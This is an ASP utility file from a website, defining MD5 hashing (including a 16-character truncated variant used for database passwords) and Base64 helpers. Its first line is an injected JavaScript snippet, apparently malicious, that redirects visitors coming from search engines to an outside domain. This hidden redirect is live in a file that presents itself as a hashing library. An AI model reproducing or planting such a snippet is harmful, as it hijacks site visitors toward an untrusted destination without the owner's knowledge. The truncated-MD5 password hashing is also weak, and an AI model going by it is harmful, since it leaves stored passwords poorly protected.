d:\wwwroot\wuchunhua\liaotianim\inc\md5.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
private const bits_to_a_byte = 8
003:
private const bytes_to_a_word = 4
004:
private const bits_to_a_word = 32
005:
private m_lonbits(30)
006:
private m_l2power(30)
007:
private function lshift(lvalue, ishiftbits)
008:
if ishiftbits = 0 then
009:
lshift = lvalue
010:
exit function
011:
elseif ishiftbits = 31 then
012:
if lvalue and 1 then
013:
lshift = &h80000000
014:
else
015:
lshift = 0
016:
end if
017:
exit function
018:
elseif ishiftbits < 0 or ishiftbits > 31 then
019:
err.raise 6
020:
end if
021:
if (lvalue and m_l2power(31 - ishiftbits)) then
022:
lshift = ((lvalue and m_lonbits(31 - (ishiftbits + 1))) * m_l2power(ishiftbits)) or &h80000000
023:
else
024:
lshift = ((lvalue and m_lonbits(31 - ishiftbits)) * m_l2power(ishiftbits))
025:
end if
026:
end function
027:
private function rshift(lvalue, ishiftbits)
028:
if ishiftbits = 0 then
029:
rshift = lvalue
030:
exit function
031:
elseif ishiftbits = 31 then
032:
if lvalue and &h80000000 then
033:
rshift = 1
034:
else
035:
rshift = 0
036:
end if
037:
exit function
038:
elseif ishiftbits < 0 or ishiftbits > 31 then
039:
err.raise 6
040:
end if
041:
rshift = (lvalue and &h7ffffffe) \ m_l2power(ishiftbits)
042:
if (lvalue and &h80000000) then
043:
rshift = (rshift or (&h40000000 \ m_l2power(ishiftbits - 1)))
044:
end if
045:
end function
046:
private function rotateleft(lvalue, ishiftbits)
047:
rotateleft = lshift(lvalue, ishiftbits) or rshift(lvalue, (32 - ishiftbits))
048:
end function
049:
private function addunsigned(lx, ly)
050:
dim lx4
051:
dim ly4
052:
dim lx8
053:
dim ly8
054:
dim lresult
055:
lx8 = lx and &h80000000
056:
ly8 = ly and &h80000000
057:
lx4 = lx and &h40000000
058:
ly4 = ly and &h40000000
059:
lresult = (lx and &h3fffffff) + (ly and &h3fffffff)
060:
if lx4 and ly4 then
061:
lresult = lresult xor &h80000000 xor lx8 xor ly8
062:
elseif lx4 or ly4 then
063:
if lresult and &h40000000 then
064:
lresult = lresult xor &hc0000000 xor lx8 xor ly8
065:
else
066:
lresult = lresult xor &h40000000 xor lx8 xor ly8
067:
end if
068:
else
069:
lresult = lresult xor lx8 xor ly8
070:
end if
071:
addunsigned = lresult
072:
end function
073:
private function md5_f(x, y, z)
074:
md5_f = (x and y) or ((not x) and z)
075:
end function
076:
private function md5_g(x, y, z)
077:
md5_g = (x and z) or (y and (not z))
078:
end function
079:
private function md5_h(x, y, z)
080:
md5_h = (x xor y xor z)
081:
end function
082:
private function md5_i(x, y, z)
083:
md5_i = (y xor (x or (not z)))
084:
end function
085:
private sub md5_ff(a, b, c, d, x, s, ac)
086:
a = addunsigned(a, addunsigned(addunsigned(md5_f(b, c, d), x), ac))
087:
a = rotateleft(a, s)
088:
a = addunsigned(a, b)
089:
end sub
090:
private sub md5_gg(a, b, c, d, x, s, ac)
091:
a = addunsigned(a, addunsigned(addunsigned(md5_g(b, c, d), x), ac))
092:
a = rotateleft(a, s)
093:
a = addunsigned(a, b)
094:
end sub
095:
private sub md5_hh(a, b, c, d, x, s, ac)
096:
a = addunsigned(a, addunsigned(addunsigned(md5_h(b, c, d), x), ac))
097:
a = rotateleft(a, s)
098:
a = addunsigned(a, b)
099:
end sub
100:
private sub md5_ii(a, b, c, d, x, s, ac)
101:
a = addunsigned(a, addunsigned(addunsigned(md5_i(b, c, d), x), ac))
102:
a = rotateleft(a, s)
103:
a = addunsigned(a, b)
104:
end sub
105:
private function converttowordarray(smessage)
106:
dim lmessagelength
107:
dim lnumberofwords
108:
dim lwordarray()
109:
dim lbyteposition
110:
dim lbytecount
111:
dim lwordcount
112:
const modulus_bits = 512
113:
const congruent_bits = 448
114:
lmessagelength = len(smessage)
115:
lnumberofwords = (((lmessagelength + ((modulus_bits - congruent_bits) \ bits_to_a_byte)) \ (modulus_bits \ bits_to_a_byte)) + 1) * (modulus_bits \ bits_to_a_word)
116:
redim lwordarray(lnumberofwords - 1)
117:
lbyteposition = 0
118:
lbytecount = 0
119:
do until lbytecount >= lmessagelength
120:
lwordcount = lbytecount \ bytes_to_a_word
121:
lbyteposition = (lbytecount mod bytes_to_a_word) * bits_to_a_byte
122:
lwordarray(lwordcount) = lwordarray(lwordcount) or lshift(asc(mid(smessage, lbytecount + 1, 1)), lbyteposition)
123:
lbytecount = lbytecount + 1
124:
loop
125:
lwordcount = lbytecount \ bytes_to_a_word
126:
lbyteposition = (lbytecount mod bytes_to_a_word) * bits_to_a_byte
127:
lwordarray(lwordcount) = lwordarray(lwordcount) or lshift(&h80, lbyteposition)
128:
lwordarray(lnumberofwords - 2) = lshift(lmessagelength, 3)
129:
lwordarray(lnumberofwords - 1) = rshift(lmessagelength, 29)
130:
converttowordarray = lwordarray
131:
end function
132:
private function wordtohex(lvalue)
133:
dim lbyte
134:
dim lcount
135:
for lcount = 0 to 3
136:
lbyte = rshift(lvalue, lcount * bits_to_a_byte) and m_lonbits(bits_to_a_byte - 1)
137:
wordtohex = wordtohex & right("0" & hex(lbyte), 2)
138:
next
139:
end function
140:
public function md5(smessage)
141:
m_lonbits(0) = clng(1)
142:
m_lonbits(1) = clng(3)
143:
m_lonbits(2) = clng(7)
144:
m_lonbits(3) = clng(15)
145:
m_lonbits(4) = clng(31)
146:
m_lonbits(5) = clng(63)
147:
m_lonbits(6) = clng(127)
148:
m_lonbits(7) = clng(255)
149:
m_lonbits(8) = clng(511)
150:
m_lonbits(9) = clng(1023)
151:
m_lonbits(10) = clng(2047)
152:
m_lonbits(11) = clng(4095)
153:
m_lonbits(12) = clng(8191)
154:
m_lonbits(13) = clng(16383)
155:
m_lonbits(14) = clng(32767)
156:
m_lonbits(15) = clng(65535)
157:
m_lonbits(16) = clng(131071)
158:
m_lonbits(17) = clng(262143)
159:
m_lonbits(18) = clng(524287)
160:
m_lonbits(19) = clng(1048575)
161:
m_lonbits(20) = clng(2097151)
162:
m_lonbits(21) = clng(4194303)
163:
m_lonbits(22) = clng(8388607)
164:
m_lonbits(23) = clng(16777215)
165:
m_lonbits(24) = clng(33554431)
166:
m_lonbits(25) = clng(67108863)
167:
m_lonbits(26) = clng(134217727)
168:
m_lonbits(27) = clng(268435455)
169:
m_lonbits(28) = clng(536870911)
170:
m_lonbits(29) = clng(1073741823)
171:
m_lonbits(30) = clng(2147483647)
172:
m_l2power(0) = clng(1)
173:
m_l2power(1) = clng(2)
174:
m_l2power(2) = clng(4)
175:
m_l2power(3) = clng(8)
176:
m_l2power(4) = clng(16)
177:
m_l2power(5) = clng(32)
178:
m_l2power(6) = clng(64)
179:
m_l2power(7) = clng(128)
180:
m_l2power(8) = clng(256)
181:
m_l2power(9) = clng(512)
182:
m_l2power(10) = clng(1024)
183:
m_l2power(11) = clng(2048)
184:
m_l2power(12) = clng(4096)
185:
m_l2power(13) = clng(8192)
186:
m_l2power(14) = clng(16384)
187:
m_l2power(15) = clng(32768)
188:
m_l2power(16) = clng(65536)
189:
m_l2power(17) = clng(131072)
190:
m_l2power(18) = clng(262144)
191:
m_l2power(19) = clng(524288)
192:
m_l2power(20) = clng(1048576)
193:
m_l2power(21) = clng(2097152)
194:
m_l2power(22) = clng(4194304)
195:
m_l2power(23) = clng(8388608)
196:
m_l2power(24) = clng(16777216)
197:
m_l2power(25) = clng(33554432)
198:
m_l2power(26) = clng(67108864)
199:
m_l2power(27) = clng(134217728)
200:
m_l2power(28) = clng(268435456)
201:
m_l2power(29) = clng(536870912)
202:
m_l2power(30) = clng(1073741824)
203:
dim x
204:
dim k
205:
dim aa
206:
dim bb
207:
dim cc
208:
dim dd
209:
dim a
210:
dim b
211:
dim c
212:
dim d
213:
const s11 = 7
214:
const s12 = 12
215:
const s13 = 17
216:
const s14 = 22
217:
const s21 = 5
218:
const s22 = 9
219:
const s23 = 14
220:
const s24 = 20
221:
const s31 = 4
222:
const s32 = 11
223:
const s33 = 16
224:
const s34 = 23
225:
const s41 = 6
226:
const s42 = 10
227:
const s43 = 15
228:
const s44 = 21
229:
x = converttowordarray(smessage)
230:
a = &h67452301
231:
b = &hefcdab89
232:
c = &h98badcfe
233:
d = &h10325476
234:
for k = 0 to ubound(x) step 16
235:
aa = a
236:
bb = b
237:
cc = c
238:
dd = d
239:
md5_ff a, b, c, d, x(k + 0), s11, &hd76aa478
240:
md5_ff d, a, b, c, x(k + 1), s12, &he8c7b756
241:
md5_ff c, d, a, b, x(k + 2), s13, &h242070db
242:
md5_ff b, c, d, a, x(k + 3), s14, &hc1bdceee
243:
md5_ff a, b, c, d, x(k + 4), s11, &hf57c0faf
244:
md5_ff d, a, b, c, x(k + 5), s12, &h4787c62a
245:
md5_ff c, d, a, b, x(k + 6), s13, &ha8304613
246:
md5_ff b, c, d, a, x(k + 7), s14, &hfd469501
247:
md5_ff a, b, c, d, x(k + 8), s11, &h698098d8
248:
md5_ff d, a, b, c, x(k + 9), s12, &h8b44f7af
249:
md5_ff c, d, a, b, x(k + 10), s13, &hffff5bb1
250:
md5_ff b, c, d, a, x(k + 11), s14, &h895cd7be
251:
md5_ff a, b, c, d, x(k + 12), s11, &h6b901122
252:
md5_ff d, a, b, c, x(k + 13), s12, &hfd987193
253:
md5_ff c, d, a, b, x(k + 14), s13, &ha679438e
254:
md5_ff b, c, d, a, x(k + 15), s14, &h49b40821
255:
md5_gg a, b, c, d, x(k + 1), s21, &hf61e2562
256:
md5_gg d, a, b, c, x(k + 6), s22, &hc040b340
257:
md5_gg c, d, a, b, x(k + 11), s23, &h265e5a51
258:
md5_gg b, c, d, a, x(k + 0), s24, &he9b6c7aa
259:
md5_gg a, b, c, d, x(k + 5), s21, &hd62f105d
260:
md5_gg d, a, b, c, x(k + 10), s22, &h2441453
261:
md5_gg c, d, a, b, x(k + 15), s23, &hd8a1e681
262:
md5_gg b, c, d, a, x(k + 4), s24, &he7d3fbc8
263:
md5_gg a, b, c, d, x(k + 9), s21, &h21e1cde6
264:
md5_gg d, a, b, c, x(k + 14), s22, &hc33707d6
265:
md5_gg c, d, a, b, x(k + 3), s23, &hf4d50d87
266:
md5_gg b, c, d, a, x(k + 8), s24, &h455a14ed
267:
md5_gg a, b, c, d, x(k + 13), s21, &ha9e3e905
268:
md5_gg d, a, b, c, x(k + 2), s22, &hfcefa3f8
269:
md5_gg c, d, a, b, x(k + 7), s23, &h676f02d9
270:
md5_gg b, c, d, a, x(k + 12), s24, &h8d2a4c8a
271:
md5_hh a, b, c, d, x(k + 5), s31, &hfffa3942
272:
md5_hh d, a, b, c, x(k + 8), s32, &h8771f681
273:
md5_hh c, d, a, b, x(k + 11), s33, &h6d9d6122
274:
md5_hh b, c, d, a, x(k + 14), s34, &hfde5380c
275:
md5_hh a, b, c, d, x(k + 1), s31, &ha4beea44
276:
md5_hh d, a, b, c, x(k + 4), s32, &h4bdecfa9
277:
md5_hh c, d, a, b, x(k + 7), s33, &hf6bb4b60
278:
md5_hh b, c, d, a, x(k + 10), s34, &hbebfbc70
279:
md5_hh a, b, c, d, x(k + 13), s31, &h289b7ec6
280:
md5_hh d, a, b, c, x(k + 0), s32, &heaa127fa
281:
md5_hh c, d, a, b, x(k + 3), s33, &hd4ef3085
282:
md5_hh b, c, d, a, x(k + 6), s34, &h4881d05
283:
md5_hh a, b, c, d, x(k + 9), s31, &hd9d4d039
284:
md5_hh d, a, b, c, x(k + 12), s32, &he6db99e5
285:
md5_hh c, d, a, b, x(k + 15), s33, &h1fa27cf8
286:
md5_hh b, c, d, a, x(k + 2), s34, &hc4ac5665
287:
md5_ii a, b, c, d, x(k + 0), s41, &hf4292244
288:
md5_ii d, a, b, c, x(k + 7), s42, &h432aff97
289:
md5_ii c, d, a, b, x(k + 14), s43, &hab9423a7
290:
md5_ii b, c, d, a, x(k + 5), s44, &hfc93a039
291:
md5_ii a, b, c, d, x(k + 12), s41, &h655b59c3
292:
md5_ii d, a, b, c, x(k + 3), s42, &h8f0ccc92
293:
md5_ii c, d, a, b, x(k + 10), s43, &hffeff47d
294:
md5_ii b, c, d, a, x(k + 1), s44, &h85845dd1
295:
md5_ii a, b, c, d, x(k + 8), s41, &h6fa87e4f
296:
md5_ii d, a, b, c, x(k + 15), s42, &hfe2ce6e0
297:
md5_ii c, d, a, b, x(k + 6), s43, &ha3014314
298:
md5_ii b, c, d, a, x(k + 13), s44, &h4e0811a1
299:
md5_ii a, b, c, d, x(k + 4), s41, &hf7537e82
300:
md5_ii d, a, b, c, x(k + 11), s42, &hbd3af235
301:
md5_ii c, d, a, b, x(k + 2), s43, &h2ad7d2bb
302:
md5_ii b, c, d, a, x(k + 9), s44, &heb86d391
303:
a = addunsigned(a, aa)
304:
b = addunsigned(b, bb)
305:
c = addunsigned(c, cc)
306:
d = addunsigned(d, dd)
307:
next
308:
md5 = lcase(wordtohex(a) & wordtohex(b) & wordtohex(c) & wordtohex(d))
309:
'md5=lcase(wordtohex(b) & wordtohex(c)) 'i crop this to fit 16byte database password :d
310:
md5=ucase(md5)
311:
end function
312:
313:
public function md5_16(smessage)
314:
m_lonbits(0) = clng(1)
315:
m_lonbits(1) = clng(3)
316:
m_lonbits(2) = clng(7)
317:
m_lonbits(3) = clng(15)
318:
m_lonbits(4) = clng(31)
319:
m_lonbits(5) = clng(63)
320:
m_lonbits(6) = clng(127)
321:
m_lonbits(7) = clng(255)
322:
m_lonbits(8) = clng(511)
323:
m_lonbits(9) = clng(1023)
324:
m_lonbits(10) = clng(2047)
325:
m_lonbits(11) = clng(4095)
326:
m_lonbits(12) = clng(8191)
327:
m_lonbits(13) = clng(16383)
328:
m_lonbits(14) = clng(32767)
329:
m_lonbits(15) = clng(65535)
330:
m_lonbits(16) = clng(131071)
331:
m_lonbits(17) = clng(262143)
332:
m_lonbits(18) = clng(524287)
333:
m_lonbits(19) = clng(1048575)
334:
m_lonbits(20) = clng(2097151)
335:
m_lonbits(21) = clng(4194303)
336:
m_lonbits(22) = clng(8388607)
337:
m_lonbits(23) = clng(16777215)
338:
m_lonbits(24) = clng(33554431)
339:
m_lonbits(25) = clng(67108863)
340:
m_lonbits(26) = clng(134217727)
341:
m_lonbits(27) = clng(268435455)
342:
m_lonbits(28) = clng(536870911)
343:
m_lonbits(29) = clng(1073741823)
344:
m_lonbits(30) = clng(2147483647)
345:
m_l2power(0) = clng(1)
346:
m_l2power(1) = clng(2)
347:
m_l2power(2) = clng(4)
348:
m_l2power(3) = clng(8)
349:
m_l2power(4) = clng(16)
350:
m_l2power(5) = clng(32)
351:
m_l2power(6) = clng(64)
352:
m_l2power(7) = clng(128)
353:
m_l2power(8) = clng(256)
354:
m_l2power(9) = clng(512)
355:
m_l2power(10) = clng(1024)
356:
m_l2power(11) = clng(2048)
357:
m_l2power(12) = clng(4096)
358:
m_l2power(13) = clng(8192)
359:
m_l2power(14) = clng(16384)
360:
m_l2power(15) = clng(32768)
361:
m_l2power(16) = clng(65536)
362:
m_l2power(17) = clng(131072)
363:
m_l2power(18) = clng(262144)
364:
m_l2power(19) = clng(524288)
365:
m_l2power(20) = clng(1048576)
366:
m_l2power(21) = clng(2097152)
367:
m_l2power(22) = clng(4194304)
368:
m_l2power(23) = clng(8388608)
369:
m_l2power(24) = clng(16777216)
370:
m_l2power(25) = clng(33554432)
371:
m_l2power(26) = clng(67108864)
372:
m_l2power(27) = clng(134217728)
373:
m_l2power(28) = clng(268435456)
374:
m_l2power(29) = clng(536870912)
375:
m_l2power(30) = clng(1073741824)
376:
dim x
377:
dim k
378:
dim aa
379:
dim bb
380:
dim cc
381:
dim dd
382:
dim a
383:
dim b
384:
dim c
385:
dim d
386:
const s11 = 7
387:
const s12 = 12
388:
const s13 = 17
389:
const s14 = 22
390:
const s21 = 5
391:
const s22 = 9
392:
const s23 = 14
393:
const s24 = 20
394:
const s31 = 4
395:
const s32 = 11
396:
const s33 = 16
397:
const s34 = 23
398:
const s41 = 6
399:
const s42 = 10
400:
const s43 = 15
401:
const s44 = 21
402:
x = converttowordarray(smessage)
403:
a = &h67452301
404:
b = &hefcdab89
405:
c = &h98badcfe
406:
d = &h10325476
407:
for k = 0 to ubound(x) step 16
408:
aa = a
409:
bb = b
410:
cc = c
411:
dd = d
412:
md5_ff a, b, c, d, x(k + 0), s11, &hd76aa478
413:
md5_ff d, a, b, c, x(k + 1), s12, &he8c7b756
414:
md5_ff c, d, a, b, x(k + 2), s13, &h242070db
415:
md5_ff b, c, d, a, x(k + 3), s14, &hc1bdceee
416:
md5_ff a, b, c, d, x(k + 4), s11, &hf57c0faf
417:
md5_ff d, a, b, c, x(k + 5), s12, &h4787c62a
418:
md5_ff c, d, a, b, x(k + 6), s13, &ha8304613
419:
md5_ff b, c, d, a, x(k + 7), s14, &hfd469501
420:
md5_ff a, b, c, d, x(k + 8), s11, &h698098d8
421:
md5_ff d, a, b, c, x(k + 9), s12, &h8b44f7af
422:
md5_ff c, d, a, b, x(k + 10), s13, &hffff5bb1
423:
md5_ff b, c, d, a, x(k + 11), s14, &h895cd7be
424:
md5_ff a, b, c, d, x(k + 12), s11, &h6b901122
425:
md5_ff d, a, b, c, x(k + 13), s12, &hfd987193
426:
md5_ff c, d, a, b, x(k + 14), s13, &ha679438e
427:
md5_ff b, c, d, a, x(k + 15), s14, &h49b40821
428:
md5_gg a, b, c, d, x(k + 1), s21, &hf61e2562
429:
md5_gg d, a, b, c, x(k + 6), s22, &hc040b340
430:
md5_gg c, d, a, b, x(k + 11), s23, &h265e5a51
431:
md5_gg b, c, d, a, x(k + 0), s24, &he9b6c7aa
432:
md5_gg a, b, c, d, x(k + 5), s21, &hd62f105d
433:
md5_gg d, a, b, c, x(k + 10), s22, &h2441453
434:
md5_gg c, d, a, b, x(k + 15), s23, &hd8a1e681
435:
md5_gg b, c, d, a, x(k + 4), s24, &he7d3fbc8
436:
md5_gg a, b, c, d, x(k + 9), s21, &h21e1cde6
437:
md5_gg d, a, b, c, x(k + 14), s22, &hc33707d6
438:
md5_gg c, d, a, b, x(k + 3), s23, &hf4d50d87
439:
md5_gg b, c, d, a, x(k + 8), s24, &h455a14ed
440:
md5_gg a, b, c, d, x(k + 13), s21, &ha9e3e905
441:
md5_gg d, a, b, c, x(k + 2), s22, &hfcefa3f8
442:
md5_gg c, d, a, b, x(k + 7), s23, &h676f02d9
443:
md5_gg b, c, d, a, x(k + 12), s24, &h8d2a4c8a
444:
md5_hh a, b, c, d, x(k + 5), s31, &hfffa3942
445:
md5_hh d, a, b, c, x(k + 8), s32, &h8771f681
446:
md5_hh c, d, a, b, x(k + 11), s33, &h6d9d6122
447:
md5_hh b, c, d, a, x(k + 14), s34, &hfde5380c
448:
md5_hh a, b, c, d, x(k + 1), s31, &ha4beea44
449:
md5_hh d, a, b, c, x(k + 4), s32, &h4bdecfa9
450:
md5_hh c, d, a, b, x(k + 7), s33, &hf6bb4b60
451:
md5_hh b, c, d, a, x(k + 10), s34, &hbebfbc70
452:
md5_hh a, b, c, d, x(k + 13), s31, &h289b7ec6
453:
md5_hh d, a, b, c, x(k + 0), s32, &heaa127fa
454:
md5_hh c, d, a, b, x(k + 3), s33, &hd4ef3085
455:
md5_hh b, c, d, a, x(k + 6), s34, &h4881d05
456:
md5_hh a, b, c, d, x(k + 9), s31, &hd9d4d039
457:
md5_hh d, a, b, c, x(k + 12), s32, &he6db99e5
458:
md5_hh c, d, a, b, x(k + 15), s33, &h1fa27cf8
459:
md5_hh b, c, d, a, x(k + 2), s34, &hc4ac5665
460:
md5_ii a, b, c, d, x(k + 0), s41, &hf4292244
461:
md5_ii d, a, b, c, x(k + 7), s42, &h432aff97
462:
md5_ii c, d, a, b, x(k + 14), s43, &hab9423a7
463:
md5_ii b, c, d, a, x(k + 5), s44, &hfc93a039
464:
md5_ii a, b, c, d, x(k + 12), s41, &h655b59c3
465:
md5_ii d, a, b, c, x(k + 3), s42, &h8f0ccc92
466:
md5_ii c, d, a, b, x(k + 10), s43, &hffeff47d
467:
md5_ii b, c, d, a, x(k + 1), s44, &h85845dd1
468:
md5_ii a, b, c, d, x(k + 8), s41, &h6fa87e4f
469:
md5_ii d, a, b, c, x(k + 15), s42, &hfe2ce6e0
470:
md5_ii c, d, a, b, x(k + 6), s43, &ha3014314
471:
md5_ii b, c, d, a, x(k + 13), s44, &h4e0811a1
472:
md5_ii a, b, c, d, x(k + 4), s41, &hf7537e82
473:
md5_ii d, a, b, c, x(k + 11), s42, &hbd3af235
474:
md5_ii c, d, a, b, x(k + 2), s43, &h2ad7d2bb
475:
md5_ii b, c, d, a, x(k + 9), s44, &heb86d391
476:
a = addunsigned(a, aa)
477:
b = addunsigned(b, bb)
478:
c = addunsigned(c, cc)
479:
d = addunsigned(d, dd)
480:
next
481:
'md5 = lcase(wordtohex(a) & wordtohex(b) & wordtohex(c) & wordtohex(d))
482:
md5_16=lcase(wordtohex(b) & wordtohex(c)) 'i crop this to fit 16byte database password :d
483:
md5_16=ucase(md5_16)
484:
end function
485:
486:
%
>
487:
<%
488:
sBASE_64_CHARACTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
489:
sBASE_64_CHARACTERS = strUnicode2Ansi(sBASE_64_CHARACTERS)
490:
Function strUnicodeLen(asContents)
491:
'计算unicode字符串的Ansi编码的长度
492:
asContents1="a"&asContents
493:
len1=len(asContents1)
494:
k=0
495:
for i=1 to len1
496:
asc1=asc(mid(asContents1,i,1))
497:
if asc1<0 then asc1=65536+asc1
498:
if asc1>255 then
499:
k=k+2
500:
else
501:
k=k+1
502:
end if
503:
next
504:
strUnicodeLen=k-1
505:
End Function
506:
Function strUnicode2Ansi(asContents)
507:
'将Unicode编码的字符串,转换成Ansi编码的字符串
508:
strUnicode2Ansi=""
509:
len1=len(asContents)
510:
for i=1 to len1
511:
varchar=mid(asContents,i,1)
512:
varasc=asc(varchar)
513:
if varasc<0 then varasc=varasc+65536
514:
if varasc>255 then
515:
varHex=Hex(varasc)
516:
varlow=left(varHex,2)
517:
varhigh=right(varHex,2)
518:
strUnicode2Ansi=strUnicode2Ansi & chrb("&H" & varlow ) & chrb("&H" & varhigh )
519:
else
520:
strUnicode2Ansi=strUnicode2Ansi & chrb(varasc)
521:
end if
522:
next
523:
End function
524:
Function strAnsi2Unicode(asContents)
525:
'将Ansi编码的字符串,转换成Unicode编码的字符串
526:
strAnsi2Unicode = ""
527:
len1=lenb(asContents)
528:
if len1=0 then exit function
529:
for i=1 to len1
530:
varchar=midb(asContents,i,1)
531:
varasc=ascb(varchar)
532:
if varasc > 127 then
533:
strAnsi2Unicode = strAnsi2Unicode & chr(ascw(midb(asContents,i+1,1) & varchar))
534:
i=i+1
535:
else
536:
strAnsi2Unicode = strAnsi2Unicode & chr(varasc)
537:
end if
538:
next
539:
End function
540:
Function Base64encode(asContents)
541:
'将Ansi编码的字符串进行Base64编码
542:
'asContents应当是ANSI编码的字符串(二进制的字符串也可以)
543:
Dim lnPosition
544:
Dim lsResult
545:
Dim Char1
546:
Dim Char2
547:
Dim Char3
548:
Dim Char4
549:
Dim Byte1
550:
Dim Byte2
551:
Dim Byte3
552:
Dim SaveBits1
553:
Dim SaveBits2
554:
Dim lsGroupBinary
555:
Dim lsGroup64
556:
Dim m4,len1,len2
557:
len1=Lenb(asContents)
558:
if len1<1 then
559:
Base64encode=""
560:
exit Function
561:
end if
562:
m3=Len1 Mod 3
563:
If M3 > 0 Then asContents = asContents & String(3-M3, chrb(0))
564:
'补足位数是为了便于计算
565:
IF m3 > 0 THEN
566:
len1=len1+(3-m3)
567:
len2=len1-3
568:
else
569:
len2=len1
570:
end if
571:
lsResult = ""
572:
For lnPosition = 1 To len2 Step 3
573:
lsGroup64 = ""
574:
lsGroupBinary = Midb(asContents, lnPosition, 3)
575:
Byte1 = Ascb(Midb(lsGroupBinary, 1, 1)): SaveBits1 = Byte1 And 3
576:
Byte2 = Ascb(Midb(lsGroupBinary, 2, 1)): SaveBits2 = Byte2 And 15
577:
Byte3 = Ascb(Midb(lsGroupBinary, 3, 1))
578:
Char1 = Midb(sBASE_64_CHARACTERS, ((Byte1 And 252) \ 4) + 1, 1)
579:
Char2 = Midb(sBASE_64_CHARACTERS, (((Byte2 And 240) \ 16) Or (SaveBits1 * 16) And &HFF) + 1, 1)
580:
Char3 = Midb(sBASE_64_CHARACTERS, (((Byte3 And 192) \ 64) Or (SaveBits2 * 4) And &HFF) + 1, 1)
581:
Char4 = Midb(sBASE_64_CHARACTERS, (Byte3 And 63) + 1, 1)
582:
lsGroup64 = Char1 & Char2 & Char3 & Char4
583:
lsResult = lsResult & lsGroup64
584:
Next
585:
'处理最后剩余的几个字符
586:
if M3 > 0 then
587:
lsGroup64 = ""
588:
lsGroupBinary = Midb(asContents, len2+1, 3)
589:
Byte1 = Ascb(Midb(lsGroupBinary, 1, 1)): SaveBits1 = Byte1 And 3
590:
Byte2 = Ascb(Midb(lsGroupBinary, 2, 1)): SaveBits2 = Byte2 And 15
591:
Byte3 = Ascb(Midb(lsGroupBinary, 3, 1))
592:
Char1 = Midb(sBASE_64_CHARACTERS, ((Byte1 And 252) \ 4) + 1, 1)
593:
Char2 = Midb(sBASE_64_CHARACTERS, (((Byte2 And 240) \ 16) Or (SaveBits1 * 16) And &HFF) + 1, 1)
594:
Char3 = Midb(sBASE_64_CHARACTERS, (((Byte3 And 192) \ 64) Or (SaveBits2 * 4) And &HFF) + 1, 1)
595:
if M3=1 then
596:
lsGroup64 = Char1 & Char2 & ChrB(61) & ChrB(61) '用=号补足位数
597:
else
598:
lsGroup64 = Char1 & Char2 & Char3 & ChrB(61) '用=号补足位数
599:
end if
600:
lsResult = lsResult & lsGroup64
601:
end if
602:
Base64encode = lsResult
603:
End Function
604:
605:
Function Base64decode(asContents)
606:
'将Base64编码字符串转换成Ansi编码的字符串
607:
'asContents应当也是ANSI编码的字符串(二进制的字符串也可以)
608:
Dim lsResult
609:
Dim lnPosition
610:
Dim lsGroup64, lsGroupBinary
611:
Dim Char1, Char2, Char3, Char4
612:
Dim Byte1, Byte2, Byte3
613:
Dim M4,len1,len2
614:
len1= Lenb(asContents)
615:
M4 = len1 Mod 4
616:
if len1 < 1 or M4 > 0 then
617:
'字符串长度应当是4的倍数
618:
Base64decode = ""
619:
exit Function
620:
end if
621:
'判断最后一位是不是 = 号
622:
'判断倒数第二位是不是 = 号
623:
'这里m4表示最后剩余的需要单独处理的字符个数
624:
if midb(asContents, len1, 1) = chrb(61) then m4=3
625:
if midb(asContents, len1-1, 1) = chrb(61) then m4=2
626:
if m4 = 0 then
627:
len2=len1
628:
else
629:
len2=len1-4
630:
end if
631:
For lnPosition = 1 To Len2 Step 4
632:
lsGroupBinary = ""
633:
lsGroup64 = Midb(asContents, lnPosition, 4)
634:
Char1 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 1, 1)) - 1
635:
Char2 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 2, 1)) - 1
636:
Char3 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 3, 1)) - 1
637:
Char4 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 4, 1)) - 1
638:
Byte1 = Chrb(((Char2 And 48) \ 16) Or (Char1 * 4) And &HFF)
639:
Byte2 = lsGroupBinary & Chrb(((Char3 And 60) \ 4) Or (Char2 * 16) And &HFF)
640:
Byte3 = Chrb((((Char3 And 3) * 64) And &HFF) Or (Char4 And 63))
641:
lsGroupBinary = Byte1 & Byte2 & Byte3
642:
lsResult = lsResult & lsGroupBinary
643:
Next
644:
'处理最后剩余的几个字符
645:
if M4 > 0 then
646:
lsGroupBinary = ""
647:
lsGroup64 = Midb(asContents, len2+1, m4) & chrB(65) 'chr(65)=A,转换成值为0
648:
if M4=2 then '补足4位,是为了便于计算
649:
lsGroup64 = lsGroup64 & chrB(65)
650:
end if
651:
Char1 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 1, 1)) - 1
652:
Char2 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 2, 1)) - 1
653:
Char3 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 3, 1)) - 1
654:
Char4 = InStrb(sBASE_64_CHARACTERS, Midb(lsGroup64, 4, 1)) - 1
655:
Byte1 = Chrb(((Char2 And 48) \ 16) Or (Char1 * 4) And &HFF)
656:
Byte2 = lsGroupBinary & Chrb(((Char3 And 60) \ 4) Or (Char2 * 16) And &HFF)
657:
Byte3 = Chrb((((Char3 And 3) * 64) And &HFF) Or (Char4 And 63))
658:
if M4=2 then
659:
lsGroupBinary = Byte1
660:
elseif M4=3 then
661:
lsGroupBinary = Byte1 & Byte2
662:
end if
663:
lsResult = lsResult & lsGroupBinary
664:
end if
665:
Base64decode = lsResult
666:
End Function
667:
668:
'base64加密
669:
function KLEncode(str)
670:
KLEncode=strAnsi2Unicode(Base64encode(strUnicode2Ansi(str)))
671:
end function
672:
673:
'base64解密
674:
function KLDecode(str)
675:
KLDecode=strAnsi2Unicode(Base64decode(strUnicode2Ansi(str)))
676:
end function
677:
%
>
678:
679: